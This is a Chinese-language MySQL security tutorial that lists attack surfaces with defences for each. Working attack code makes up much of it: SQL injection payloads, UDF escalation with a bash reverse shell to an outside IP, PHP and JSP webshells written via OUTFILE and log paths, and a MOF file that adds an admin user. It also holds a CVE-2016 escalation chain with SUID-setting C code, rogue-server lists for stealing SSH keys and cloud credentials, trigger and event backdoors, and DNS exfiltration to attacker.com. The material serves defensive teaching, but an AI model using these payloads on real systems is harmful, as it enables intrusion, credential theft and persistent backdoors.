MySQL安全配置与防护实践
数据库是现代信息系统的核心,也是黑客攻击的首要目标。MySQL作为使用最广泛的开源数据库之一,其安全性直接关系到企业的核心资产。本文将从攻击者视角全面梳理MySQL的各个攻击面,并给出对应的防御方案。
一、SQL注入
1.1 什么是SQL注入
SQL注入是指攻击者通过在用户输入中插入恶意SQL片段,改变原有SQL语句的逻辑,从而实现非授权的数据库操作。
1.2 注入类型
联合查询注入(Union Based)
最常见的注入方式,通过 UNION SELECT 将攻击者构造的查询结果拼接到正常查询结果中。
-- 判断列数
-- ?id=1' ORDER BY 3--+
-- 联合查询,获取数据库信息
-- ?id=-1' UNION SELECT 1,database(),user()--+
-- 获取所有表名
-- ?id=-1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+
-- 获取列名
-- ?id=-1' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'--+
-- 获取数据
-- ?id=-1' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users--+
报错注入(Error Based)
利用MySQL的报错函数,将查询结果通过错误信息带出。
-- extractvalue报错注入
SELECT extractvalue(1, concat(0x7e, (SELECT database()), 0x7e));
-- updatexml报错注入
SELECT updatexml(1, concat(0x7e, (SELECT version()), 0x7e), 1);
-- floor报错注入
SELECT count(*), concat((SELECT database()), floor(rand(0)*2)) x FROM information_schema.tables GROUP BY x;
布尔盲注(Boolean Based Blind)
页面无回显,仅通过返回页面的不同状态(正常/异常)来逐位推断数据。
-- 判断数据库名长度
-- ?id=1' AND length(database())=8--+
-- 逐字符判断数据库名
-- ?id=1' AND ascii(substr(database(),1,1))=115--+
-- 判断表名
-- ?id=1' AND ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1))>100--+
时间盲注(Time Based Blind)
通过 SLEEP() 或 BENCHMARK() 引起的响应时间差异来判断条件是否成立。
-- 如果数据库名第一个字符ASCII值为115,则延迟5秒
-- ?id=1' AND IF(ascii(substr(database(),1,1))=115, SLEEP(5), 0)--+
-- benchmark方式
-- ?id=1' AND IF(ascii(substr(database(),1,1))=115, BENCHMARK(10000000, SHA1('test')), 0)--+
堆叠注入(Stacked Queries)
部分场景下(如 mysqli_multi_query),可以通过分号执行多条SQL语句。
-- 直接执行任意SQL
-- ?id=1';INSERT INTO users(username,password) VALUES('hacker','123456');--+
-- 甚至可以修改管理员密码
-- ?id=1';UPDATE users SET password='hacked' WHERE username='admin';--+
1.3 SQL注入防御
// 正确:使用预编译语句(PreparedStatement)
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setString(1, username);
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();
# Python中使用参数化查询
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password))
防御要点:
- 所有用户输入必须使用参数化查询/预编译语句
- 对输入进行白名单校验
- 使用WAF作为辅助防御层
- 数据库账号遵循最小权限原则,禁止应用账号拥有
FILE、SUPER等高危权限
二、UDF提权
2.1 什么是UDF
UDF(User Defined Function)是MySQL提供的用户自定义函数机制,允许通过加载动态链接库(.so / .dll)来扩展MySQL的功能。攻击者可以利用该机制加载恶意动态库,从而在数据库服务器上执行系统命令。
2.2 利用条件
- 已获取MySQL的高权限账号(如root)
secure_file_priv为空或指向可写目录- 拥有对插件目录(
plugin_dir)的写权限 - MySQL服务以较高系统权限运行(如root/SYSTEM)
2.3 利用过程
第一步:查看关键变量
-- 查看插件目录位置
SHOW VARIABLES LIKE 'plugin_dir';
-- 通常为 /usr/lib/mysql/plugin/ 或 C:\MySQL\lib\plugin\
-- 查看secure_file_priv配置
SHOW VARIABLES LIKE 'secure_file_priv';
-- 查看系统架构
SHOW VARIABLES LIKE '%compile%';
-- 查看操作系统
SHOW VARIABLES LIKE 'version_compile_os';
第二步:写入恶意动态库
将UDF动态库文件以十六进制形式写入插件目录。sqlmap和Metasploit中都自带了UDF库文件。
-- 方式一:通过SELECT INTO DUMPFILE写入(需要secure_file_priv允许)
SELECT unhex('7F454C46...') INTO DUMPFILE '/usr/lib/mysql/plugin/udf_sys_exec.so';
-- 方式二:通过创建表中转
CREATE TABLE temp_udf(data LONGBLOB);
INSERT INTO temp_udf VALUES(unhex('7F454C46...'));
SELECT data FROM temp_udf INTO DUMPFILE '/usr/lib/mysql/plugin/udf_sys_exec.so';
DROP TABLE temp_udf;
第三步:创建自定义函数并执行命令
-- 创建函数(Linux)
CREATE FUNCTION sys_exec RETURNS INT SONAME 'udf_sys_exec.so';
-- 创建函数(Windows)
CREATE FUNCTION sys_exec RETURNS INT SONAME 'udf_sys_exec.dll';
-- 执行系统命令
SELECT sys_exec('whoami');
SELECT sys_exec('id');
-- 反弹Shell
SELECT sys_exec('bash -c "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"');
-- 添加系统用户(Windows)
SELECT sys_exec('net user hacker P@ssw0rd /add');
SELECT sys_exec('net localgroup administrators hacker /add');
第四步:清除痕迹
-- 删除自定义函数
DROP FUNCTION sys_exec;
-- 查看已加载的UDF
SELECT * FROM mysql.func;
2.4 UDF提权防御
secure_file_priv设置为指定目录或NULL(完全禁止文件操作)- 插件目录权限设为仅MySQL进程可读,禁止写入
- MySQL服务以低权限用户运行,不要用root/SYSTEM
- 定期审计
mysql.func表,检查是否有异常的自定义函数
三、MOF提权(⚠️ 历史遗留技术)
适用性说明:MOF提权是 Windows 2000/XP/2003 时代的技术。从 Windows Server 2008 / Vista 开始,Microsoft 已移除 WMI MOF 自动编译执行机制,此攻击手法在较新 Windows 系统上不再有效。保留此节仅供历史参考。
MOF(Managed Object Format)是Windows WMI使用的一种文件格式。旧版Windows会自动编译执行 C:\Windows\System32\wbem\mof\ 目录下的 .mof 文件,攻击者可借此实现代码执行。
利用条件(仅限 Windows 2000/XP/2003):
- 已获取MySQL高权限账号
- MySQL以SYSTEM权限运行
secure_file_priv允许写入目标路径
3.3 利用过程
第一步:构造MOF文件
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA \"Win32_LocalTime\" AND TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net user hacker P@ssw0rd123 /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
第二步:通过MySQL写入MOF文件
SELECT load_file('C:/evil.mof') INTO DUMPFILE 'C:/Windows/System32/wbem/mof/evil.mof';
或者直接从十六进制写入:
SELECT unhex('23707261676D61...') INTO DUMPFILE 'C:/Windows/System32/wbem/mof/evil.mof';
第三步:等待系统自动执行
Windows WMI服务会自动监控mof目录,发现新文件后自动编译执行,攻击者添加的用户就会被创建。
3.4 MOF提权防御
- 升级操作系统,Windows Server 2008 R2及以上版本已移除该自动执行机制
- MySQL服务不要以SYSTEM权限运行
- 限制
secure_file_priv,禁止向系统目录写入文件 - 监控
C:\Windows\System32\wbem\mof\目录的文件变动
四、任意文件读写
4.1 任意文件读取(LOAD_FILE)
MySQL的 LOAD_FILE() 函数可以读取服务器上的本地文件。
利用条件:
- 拥有
FILE权限 secure_file_priv允许或为空- 知道文件的绝对路径
- 文件大小小于
max_allowed_packet
-- 读取系统敏感文件
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('/etc/shadow');
SELECT LOAD_FILE('/etc/my.cnf');
-- Windows
SELECT LOAD_FILE('C:/Windows/System32/drivers/etc/hosts');
SELECT LOAD_FILE('C:/phpstudy/www/config.php');
-- 读取网站配置文件获取数据库密码
SELECT LOAD_FILE('/var/www/html/config/database.php');
4.2 任意文件写入(INTO OUTFILE / INTO DUMPFILE)
通过SQL语句将内容写入服务器文件系统,常用于写入WebShell。
利用条件:
- 拥有
FILE权限 secure_file_priv允许或为空- 知道Web目录的绝对路径
- 目标目录有写权限
-- 写入一句话木马(PHP)
SELECT '<?php @eval($_POST["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
-- 写入JSP木马
SELECT '<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>' INTO OUTFILE '/usr/local/tomcat/webapps/ROOT/cmd.jsp';
-- INTO DUMPFILE 不会在末尾追加换行,适合写入二进制文件
SELECT unhex('4D5A...') INTO DUMPFILE '/tmp/evil.exe';
OUTFILE与DUMPFILE的区别:
INTO OUTFILE:会在行末添加换行符,列之间添加制表符,适合文本文件INTO DUMPFILE:原样写入,不添加任何额外字符,适合二进制文件
4.3 通过日志写入WebShell
当 secure_file_priv 限制了 INTO OUTFILE 时,可以通过修改MySQL日志路径来写入WebShell。
-- 通过general_log写入WebShell
SET global general_log = 'ON';
SET global general_log_file = '/var/www/html/shell.php';
SELECT '<?php @eval($_POST["cmd"]); ?>';
SET global general_log = 'OFF';
-- 通过slow_query_log写入WebShell
SET global slow_query_log = 'ON';
SET global slow_query_log_file = '/var/www/html/slow.php';
SELECT '<?php @eval($_POST["cmd"]); ?>' OR SLEEP(11);
SET global slow_query_log = 'OFF';
4.4 文件读写防御
# my.cnf 中严格限制文件操作
[mysqld]
secure_file_priv = /tmp/mysql-files/ # 限制到指定目录
# 或者
secure_file_priv = NULL # 完全禁止文件操作(推荐)
- 应用程序数据库账号不要授予
FILE权限 - Web目录禁止MySQL用户写入
- 定期检查
general_log_file和slow_query_log_file是否被篡改
五、MySQL并发条件竞争导致空口令登录漏洞(CVE-2012-2122)
5.1 漏洞原理
这是MySQL/MariaDB的一个经典认证绕过漏洞。在特定版本和特定编译条件下,MySQL在验证密码时使用 memcmp() 函数比较密码哈希值。由于某些平台(如使用SSE优化的Linux glibc)上 memcmp() 的返回值可能超出 [-128, 127] 的范围,当该值被强制转换为 my_bool(实际是 char 类型)时,可能发生截断,导致非零返回值被截断为零,从而绕过认证。
简单来说:每次用错误密码登录,都有大约 1/256 的概率认证成功。
5.2 受影响版本
- MySQL 5.1.x(5.1.63之前)
- MySQL 5.5.x(5.5.25之前)
- MySQL 5.6.x(5.6.7之前)
- MariaDB 5.1.x(5.1.62之前)
- MariaDB 5.2.x(5.2.12之前)
- MariaDB 5.3.x(5.3.6之前)
- MariaDB 5.5.x(5.5.23之前)
5.3 利用方式
# 一行命令暴力尝试,利用概率绕过(约尝试300次即可成功)
for i in $(seq 1 1000); do mysql -u root --password=wrong -h target_ip 2>/dev/null && break; done
# 使用Python脚本利用
python3 -c "
import subprocess
for i in range(1000):
ret = subprocess.call(['mysql', '-u', 'root', '--password=wrong', '-h', 'target_ip', '-e', 'SELECT 1'],
stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
if ret == 0:
print(f'Success after {i+1} attempts')
break
"
Metasploit利用:
use auxiliary/scanner/mysql/mysql_authbypass_hashdump
set RHOSTS target_ip
run
5.4 修复方案
- 升级MySQL到5.1.63、5.5.25、5.6.7及以上版本
- 升级MariaDB到对应修复版本
- 限制MySQL服务仅监听本地或内网地址
- 使用防火墙限制MySQL端口的访问来源
六、配置文件注入与权限提升(CVE-2016-6662/6663/6664)
6.1 CVE-2016-6662:配置文件注入导致RCE
这是2016年发现的一个严重漏洞,允许攻击者通过注入恶意配置到MySQL配置文件(my.cnf)来实现远程代码执行。
漏洞原理: 攻击者通过SQL注入或已有的MySQL账号,利用日志功能将恶意配置写入my.cnf,然后在MySQL重启时加载恶意库文件。
利用条件:
- 拥有MySQL账号(或通过SQL注入)
- 拥有FILE权限或能够修改日志设置
- 能够触发MySQL重启
攻击步骤:
-- 第一步:通过日志功能写入恶意配置
SET GLOBAL general_log_file = '/etc/mysql/my.cnf';
SET GLOBAL general_log = ON;
SELECT '
[mysqld]
malloc_lib=/tmp/mysql_exploit.so
';
SET GLOBAL general_log = OFF;
-- 第二步:将恶意动态库上传到服务器
-- 通过其他漏洞(如文件上传)将恶意.so文件放到/tmp/
-- 第三步:等待或触发MySQL重启
-- MySQL重启时会加载恶意库,执行任意代码
受影响版本:
- MySQL 5.7.x < 5.7.15
- MySQL 5.6.x < 5.6.33
- MySQL 5.5.x < 5.5.52
- MariaDB 10.1.x < 10.1.18
- MariaDB 10.0.x < 10.0.28
- MariaDB 5.5.x < 5.5.52
- Percona Server 5.7.x < 5.7.14-8
- Percona Server 5.6.x < 5.6.32-78.1
- Percona Server 5.5.x < 5.5.51-38.2
6.2 CVE-2016-6663:条件竞争导致权限提升
这是一个本地权限提升漏洞,允许低权限的MySQL用户通过条件竞争提升到mysql系统用户权限。
漏洞原理: MySQL在创建表文件时存在条件竞争,攻击者可以在文件创建和权限设置之间的时间窗口内替换文件为符号链接。
利用方式:
#!/bin/bash
# 利用脚本示例
# 在MySQL中创建表,同时监控文件创建
while true; do
if [ -f "/var/lib/mysql/testdb/exploit.MYD" ]; then
rm -f /var/lib/mysql/testdb/exploit.MYD
ln -s /etc/shadow /var/lib/mysql/testdb/exploit.MYD
break
fi
done &
# 在MySQL中执行
mysql -u lowpriv -p -e "
USE testdb;
CREATE TABLE exploit (data TEXT);
INSERT INTO exploit VALUES ('hacked');
"
受影响版本:
- MySQL 5.5.x < 5.5.53
- MySQL 5.6.x < 5.6.34
- MySQL 5.7.x < 5.7.16
- MariaDB 5.5.x < 5.5.53
- MariaDB 10.0.x < 10.0.29
- MariaDB 10.1.x < 10.1.20
- Percona Server 5.5.x < 5.5.51-38.2
- Percona Server 5.6.x < 5.6.32-78.1
- Percona Server 5.7.x < 5.7.14-8
6.3 CVE-2016-6664:错误日志提权到root
这个漏洞允许mysql系统用户通过操纵错误日志文件提升到root权限。
漏洞原理: mysqld_safe脚本在处理错误日志时存在缺陷,攻击者可以将错误日志文件替换为符号链接,指向任意文件(如/etc/ld.so.preload),从而在MySQL重启时以root权限加载恶意库。
利用步骤:
# 第一步:创建恶意动态库
cat > /tmp/exploit.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
system("chmod u+s /bin/bash");
unlink("/etc/ld.so.preload");
}
EOF
gcc -shared -fPIC -o /tmp/exploit.so /tmp/exploit.c
# 第二步:替换错误日志为符号链接
rm -f /var/log/mysql/error.log
ln -s /etc/ld.so.preload /var/log/mysql/error.log
# 第三步:触发MySQL重启
# mysqld_safe(以root运行)在启动时向error.log写入日志信息
# 由于 error.log → /etc/ld.so.preload(符号链接)
# 启动日志内容会被写入 ld.so.preload
# 结合 CVE-2016-6662 注入的恶意配置,重启后会以root权限加载恶意库
service mysql restart
# 第四步:获取root shell
/bin/bash -p
受影响版本:
- MySQL 5.5.x < 5.5.53
- MySQL 5.6.x < 5.6.34
- MySQL 5.7.x < 5.7.16
- MariaDB 5.5.x < 5.5.53
- MariaDB 10.0.x < 10.0.29
- MariaDB 10.1.x < 10.1.20
- Percona Server(所有版本)
6.4 防御措施
针对CVE-2016-6662:
- 升级到修复版本
- 限制FILE权限
- 配置文件权限设为只读(chmod 644 /etc/mysql/my.cnf)
- 使用AppArmor/SELinux限制MySQL进程
针对CVE-2016-6663:
- 升级到修复版本
- 数据目录权限严格控制(chmod 700 /var/lib/mysql)
- 使用独立的文件系统挂载数据目录,禁用符号链接(nosymfollow)
针对CVE-2016-6664:
- 升级到修复版本
- 日志目录权限严格控制
- 使用systemd管理MySQL而非mysqld_safe
- 监控关键文件的符号链接变化
七、其他攻击面与CVE漏洞
🔐 认证与初始访问
7.1 弱口令爆破
# 使用hydra爆破MySQL
hydra -l root -P /usr/share/wordlists/rockyou.txt target_ip mysql
# 使用medusa爆破
medusa -h target_ip -u root -P passwords.txt -M mysql
# nmap脚本爆破
nmap --script=mysql-brute -p 3306 target_ip
7.2 MySQL客户端任意文件读取(恶意服务端 / Fake MySQL Server)
这是一个针对MySQL客户端的攻击手法。MySQL协议允许服务端在认证阶段要求客户端发送本地文件(LOAD DATA LOCAL INFILE)。攻击者可以搭建恶意MySQL服务端,当受害者客户端连接时,窃取客户端主机上的任意文件。
攻击原理:
MySQL协议在客户端执行 LOAD DATA LOCAL INFILE 时,服务端可以指定要读取的文件路径。恶意服务端可以在握手阶段就要求客户端发送敏感文件。
攻击场景:
- 攻击者搭建恶意MySQL服务器
- 诱导受害者连接(如通过钓鱼、SSRF、配置劫持等)
- 客户端连接时,恶意服务端要求读取敏感文件
- 客户端自动发送文件内容给服务端
利用工具:
# Rogue-MySql-Server(最常用的工具)
# https://github.com/allyshka/Rogue-MySql-Server
git clone https://github.com/allyshka/Rogue-MySql-Server.git
cd Rogue-MySql-Server
# 修改配置文件,指定要读取的文件
vim config.json
{
"fileList": [
"/etc/passwd",
"/etc/shadow",
"/home/user/.ssh/id_rsa",
"/var/www/html/config.php",
"C:\\Windows\\win.ini",
"C:\\Users\\Administrator\\Desktop\\passwords.txt"
],
"port": 3306
}
# 启动恶意服务器
python rogue_mysql_server.py
攻击示例:
# 受害者执行以下命令连接
mysql -h attacker_ip -u root -p
# 或者通过应用程序连接
# 恶意服务端会自动读取配置的文件列表
高级利用场景:
- SSRF配合利用:
通过SSRF漏洞让服务器连接恶意MySQL 例如:http://vulnerable.com/api?db_host=attacker_ip:3306 可以读取服务器上的敏感文件 - 供应链攻击:
攻击者劫持DNS或中间人攻击 将正常的MySQL服务器地址指向恶意服务器 读取开发人员或运维人员的本地文件 - 读取云凭证:
{ "fileList": [ "/home/user/.aws/credentials", "/home/user/.ssh/id_rsa", "/home/user/.docker/config.json", "/home/user/.kube/config", "C:\\Users\\user\\.aws\\credentials" ] }
常见敏感文件路径:
| 类别 | Linux | Windows |
|---|---|---|
| 用户/密码 | /etc/passwd、/etc/shadow |
C:\Windows\win.ini |
| SSH密钥 | /root/.ssh/id_rsa |
C:\Users\[user]\.ssh\id_rsa |
| 命令历史 | /root/.bash_history |
- |
| Web配置 | /var/www/html/config.php |
C:\xampp\mysql\bin\my.ini |
| MySQL配置 | /etc/mysql/my.cnf |
C:\xampp\mysql\bin\my.ini |
| 云凭证 | ~/.aws/credentials |
C:\Users\[user]\.aws\credentials |
| SSH记录 | ~/.ssh/known_hosts |
- |
| FTP凭证 | - | C:\Users\[user]\AppData\Roaming\FileZilla\recentservers.xml |
防御措施:
- 客户端配置禁用 LOCAL INFILE:
# my.cnf 客户端配置 [client] local-infile=0 - 连接时显式禁用:
# 命令行连接 mysql -h server_ip -u user -p --local-infile=0
# Python连接
import mysql.connector
conn = mysql.connector.connect(
host='server_ip',
user='user',
password='pass',
allow_local_infile=False # 禁用
)
- 验证服务器身份:
# 使用SSL连接并验证证书 mysql -h server_ip -u user -p \ --ssl-mode=VERIFY_IDENTITY \ --ssl-ca=/path/to/ca.pem - 网络隔离:
- 不要从不可信网络连接MySQL
- 使用VPN或跳板机连接生产数据库
- 限制数据库服务器的出站连接
- 监控异常连接:
# 监控连接到非预期IP的MySQL连接 netstat -antp | grep :3306 | grep ESTABLISHED - 应用层防护:
```python
在应用代码中验证数据库服务器地址
ALLOWED_DB_HOSTS = [‘10.0.1.100’, ‘10.0.1.101’]
if db_host not in ALLOWED_DB_HOSTS: raise Exception(f”Unauthorized database host: {db_host}”)
**检测方法**:
```bash
# 检查客户端配置
mysql --help | grep local-infile
# 测试是否允许LOCAL INFILE
mysql -h target_ip -u user -p -e "SHOW VARIABLES LIKE 'local_infile';"
7.3 权限提升 - 利用SUID
如果MySQL的二进制文件被设置了SUID位:
# 查找SUID的mysql相关文件
find / -perm -4000 -type f 2>/dev/null | grep mysql
# 如果mysql客户端有SUID,可以利用
mysql -u root -p -e '\! /bin/bash'
🐚 持久化与后门
7.4 日志投毒(Log Poisoning)
除了前面提到的通过 general_log 写入WebShell,还可以利用其他日志机制:
-- 通过慢查询日志写入
SET GLOBAL slow_query_log = 'ON';
SET GLOBAL slow_query_log_file = '/var/www/html/shell.php';
SET GLOBAL long_query_time = 0;
SELECT '<?php system($_GET["cmd"]); ?>' FROM mysql.user WHERE SLEEP(1);
-- 通过二进制日志(需要解码)
SET SQL_LOG_BIN = 1;
-- 执行包含恶意代码的SQL,然后从binlog中提取
7.5 利用触发器(Trigger)持久化
攻击者可以创建触发器,在特定操作时自动执行恶意代码:
-- 创建后门触发器
CREATE TRIGGER backdoor_trigger
BEFORE INSERT ON users
FOR EACH ROW
BEGIN
IF NEW.username = 'backdoor_user' THEN
SET NEW.password = MD5('known_password');
SET NEW.role = 'admin';
END IF;
END;
-- 查看所有触发器
SHOW TRIGGERS;
SELECT * FROM information_schema.TRIGGERS;
-- 删除触发器
DROP TRIGGER backdoor_trigger;
7.6 利用存储过程(Stored Procedure)
存储过程可以封装复杂逻辑,也可能被用于隐藏后门:
-- 创建后门存储过程
DELIMITER $$
CREATE PROCEDURE backdoor_proc(IN cmd VARCHAR(255))
BEGIN
DECLARE result VARCHAR(1000);
-- 如果有UDF,可以执行系统命令
SELECT sys_exec(cmd) INTO result;
END$$
DELIMITER ;
-- 调用
CALL backdoor_proc('whoami');
-- 审计存储过程
SELECT * FROM information_schema.ROUTINES WHERE ROUTINE_TYPE='PROCEDURE';
7.7 利用事件调度器(Event Scheduler)
MySQL的事件调度器可以定时执行SQL语句,攻击者可以创建定时任务:
-- 启用事件调度器
SET GLOBAL event_scheduler = ON;
-- 创建定时后门(每分钟检查特定表,执行命令)
CREATE EVENT backdoor_event
ON SCHEDULE EVERY 1 MINUTE
DO
BEGIN
DECLARE cmd VARCHAR(255);
SELECT command INTO cmd FROM backdoor_commands LIMIT 1;
IF cmd IS NOT NULL THEN
-- 执行命令(需要UDF支持)
SELECT sys_exec(cmd);
DELETE FROM backdoor_commands LIMIT 1;
END IF;
END;
-- 查看所有事件
SHOW EVENTS;
SELECT * FROM information_schema.EVENTS;
-- 删除事件
DROP EVENT backdoor_event;
🌐 网络与系统攻击
7.8 利用UNC路径触发NTLM认证与网络请求
MySQL本身的 LOAD DATA INFILE 不支持HTTP协议,只能读取本地文件系统路径。但在 Windows环境 下,MySQL可以通过UNC路径触发SMB请求,从而发起对外网络连接,实现NTLM哈希窃取或与内网服务交互。
利用方式:
-- 通过UNC路径触发SMB请求,窃取NTLM哈希(仅Windows)
SELECT LOAD_FILE('\\\\attacker_ip\\share\\file.txt');
-- 配合Responder等工具捕获NTLM哈希
-- 攻击者在attacker_ip上运行:responder -I eth0
配合SSRF的场景:
如果目标应用存在SSRF漏洞,攻击者可以让目标服务器连接到恶意MySQL服务端(参见7.2节 Fake MySQL Server),进而利用 LOAD DATA LOCAL INFILE 读取目标服务器上的敏感文件。这种间接方式才是MySQL在SSRF攻击链中的真正角色。
攻击链示例:
1. 发现Web应用SSRF漏洞(如数据库连接配置可控)
2. 将数据库地址指向攻击者的恶意MySQL服务端
3. 恶意服务端利用协议特性要求客户端发送本地文件
4. 获取目标服务器上的敏感文件(配置文件、密钥等)
防御:
- 设置
secure_file_priv = NULL禁止所有文件操作 - Windows环境下限制MySQL进程的出站SMB连接
- 数据库连接地址使用白名单,禁止用户可控
7.9 拒绝服务攻击(DoS)
-- 正则表达式DoS(ReDoS)
SELECT 'aaaaaaaaaaaaaaaaaaaaaaaaaaaa' REGEXP '(a+)+$';
-- 笛卡尔积导致资源耗尽
SELECT * FROM large_table1, large_table2, large_table3;
-- 递归查询导致栈溢出(MySQL 8.0+)
WITH RECURSIVE cte AS (
SELECT 1 AS n
UNION ALL
SELECT n+1 FROM cte WHERE n < 999999999
)
SELECT * FROM cte;
防御:
- 设置
max_execution_time限制查询时间 - 设置
max_connections限制并发连接数 - 使用
max_user_connections限制单用户连接数
7.10 信息泄露
-- 获取数据库版本和系统信息
SELECT VERSION();
SELECT @@version_compile_os;
SELECT @@version_compile_machine;
-- 获取当前用户和权限
SELECT USER();
SELECT CURRENT_USER();
SHOW GRANTS;
-- 获取所有数据库
SHOW DATABASES;
SELECT schema_name FROM information_schema.schemata;
-- 获取所有用户
SELECT user, host, authentication_string FROM mysql.user;
-- 获取配置信息
SHOW VARIABLES;
SHOW VARIABLES LIKE '%dir%'; -- 查看重要目录路径
-- 获取进程列表(可能泄露其他用户的查询)
SHOW PROCESSLIST;
SELECT * FROM information_schema.PROCESSLIST;
防御:
- 限制
information_schema的访问权限 - 禁止应用账号执行
SHOW PROCESSLIST - 错误信息不要暴露给前端用户
7.11 利用主从复制
在主从复制环境中,如果从库配置不当,可能被利用:
-- 在从库上执行(如果有权限)
STOP SLAVE;
CHANGE MASTER TO MASTER_HOST='attacker_ip', MASTER_USER='root', MASTER_PASSWORD='';
START SLAVE;
防御:
- 从库使用只读模式:
read_only=1和super_read_only=1 - 主从复制使用SSL加密
- 复制账号使用强密码,仅授予
REPLICATION SLAVE权限
🔓 权限绕过与隐蔽信道
7.12 利用视图(View)的 SQL SECURITY DEFINER 提权
MySQL视图有两种安全模式:SQL SECURITY DEFINER(以视图创建者的权限执行)和 SQL SECURITY INVOKER(以调用者的权限执行)。当高权限用户使用 DEFINER 模式创建视图并授权给低权限用户时,低权限用户可以借助视图间接访问到自身无权限的数据。
攻击场景:
-- DBA使用root创建了一个DEFINER视图
CREATE DEFINER='root'@'localhost' SQL SECURITY DEFINER
VIEW all_users AS SELECT user, host, authentication_string FROM mysql.user;
-- 然后授予普通用户访问权限
GRANT SELECT ON mydb.all_users TO 'app_user'@'%';
-- 低权限用户通过视图可以读取mysql.user表(本来无权限)
-- 以app_user登录后执行:
SELECT * FROM mydb.all_users;
-- 成功获取所有用户的密码哈希!
审计方法:
-- 查找所有使用DEFINER模式的视图
SELECT TABLE_SCHEMA, TABLE_NAME, DEFINER, SECURITY_TYPE
FROM information_schema.VIEWS
WHERE SECURITY_TYPE = 'DEFINER';
-- 检查视图的DEFINER是否为高权限用户
SELECT v.TABLE_SCHEMA, v.TABLE_NAME, v.DEFINER, v.SECURITY_TYPE, v.VIEW_DEFINITION
FROM information_schema.VIEWS v
WHERE v.SECURITY_TYPE = 'DEFINER'
AND v.DEFINER LIKE 'root@%';
防御:
- 优先使用
SQL SECURITY INVOKER模式创建视图 - 使用
DEFINER时,DEFINER账号应遵循最小权限原则,不要使用root - 定期审计
information_schema.VIEWS中的SECURITY_TYPE和DEFINER字段 - 遵循最小权限原则,不要通过视图间接暴露敏感表
7.13 利用预处理语句(Prepared Statement)绕过WAF
某些WAF或过滤机制可能被预处理语句绕过:
-- 使用预处理语句执行动态SQL
SET @sql = CONCAT('SELECT * FROM users WHERE id = ', @user_input);
PREPARE stmt FROM @sql;
EXECUTE stmt;
DEALLOCATE PREPARE stmt;
7.14 利用字符集转换绕过(宽字节注入)
宽字节注入原理
当MySQL客户端使用GBK等多字节编码时,攻击者可以利用编码转换的特性绕过基于 addslashes() 或 mysql_real_escape_string() 的转义防护。
攻击原理:
正常转义流程:
输入: ' OR 1=1--
转义后: \' OR 1=1-- (单引号被反斜杠转义,注入失败)
宽字节注入流程(GBK编码):
输入: %bf' OR 1=1--
转义后: %bf\' OR 1=1-- (即 %bf%5c%27 OR 1=1--)
GBK解码: 縗' OR 1=1-- (%bf%5c 被合并为GBK汉字"縗",单引号逃逸!)
addslashes() 在单引号 '(0x27)前插入反斜杠 \(0x5c)。但在GBK编码中,0xbf5c 是一个合法的双字节汉字。因此 0xbf + 0x5c(反斜杠)被GBK解释器”吞掉”,导致后面的单引号 0x27 逃逸出来,注入成功。
利用示例:
-- 宽字节注入(GBK编码环境)
-- 输入: %df' OR 1=1--
-- 转换后: 運' OR 1=1--(%df%5c被合并为汉字"運")
-- 使用十六进制绕过关键字过滤
SELECT 0x61646D696E; -- 等同于 'admin'
-- 使用CHAR函数绕过
SELECT CHAR(97,100,109,105,110); -- 等同于 'admin'
防御:
- 统一使用UTF-8编码,在连接和数据库层面都设置
character_set_client=utf8mb4 - 使用参数化查询(PreparedStatement)而非字符串转义
- 在
my.cnf中强制编码:
[mysqld]
character-set-server = utf8mb4
collation-server = utf8mb4_unicode_ci
[client]
default-character-set = utf8mb4
7.15 利用MySQL注释绕过
-- 内联注释绕过
SELECT/**/username/**/FROM/**/users;
-- 版本注释(特定版本才执行)
/*!50000 SELECT * FROM users */;
-- 多行注释
SELECT * FROM users /*! WHERE id=1 */;
7.16 DNS外带(DNS Exfiltration)
在无回显的情况下,可以通过DNS查询带出数据:
-- 通过LOAD_FILE触发DNS查询(仅Windows,利用UNC路径)
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.attacker.com\\abc'));
-- Windows UNC路径
SELECT LOAD_FILE('\\\\attacker.com\\share\\file.txt');
7.17 利用MySQL Proxy中间人攻击
如果使用MySQL Proxy且未加密,攻击者可以:
- 窃听所有SQL查询和结果
- 篡改查询语句
- 注入恶意SQL
防御:
- 使用SSL/TLS加密连接
- 验证服务器证书
- 使用VPN或专用网络
📋 CVE漏洞汇总
7.18 其他重要CVE漏洞
CVE-2023-21980:MySQL Server Client程序漏洞
- CVSS评分:7.1(高危)
- 影响版本:MySQL 8.0.32及之前版本
- 漏洞描述:允许低权限攻击者通过网络访问破坏MySQL Server,影响机密性、完整性和可用性
- 防御:升级到MySQL 8.0.33+
CVE-2023-22028:MySQL Server InnoDB组件DoS漏洞
- CVSS评分:4.9(中危)
- 影响版本:MySQL 8.0.x
- 漏洞描述:高权限攻击者可导致MySQL Server挂起或崩溃
- 防御:升级到最新版本,限制高权限账号
CVE-2021-2022:MySQL Server InnoDB组件DoS漏洞
- CVSS评分:4.4(中危)
- 影响版本:MySQL 5.6.x, 5.7.x, 8.0.x
- 漏洞描述:高权限攻击者可导致MySQL Server频繁崩溃
- 防御:升级到修复版本
CVE-2024-21201:MySQL Optimizer组件DoS漏洞
- CVSS评分:4.9(中危)
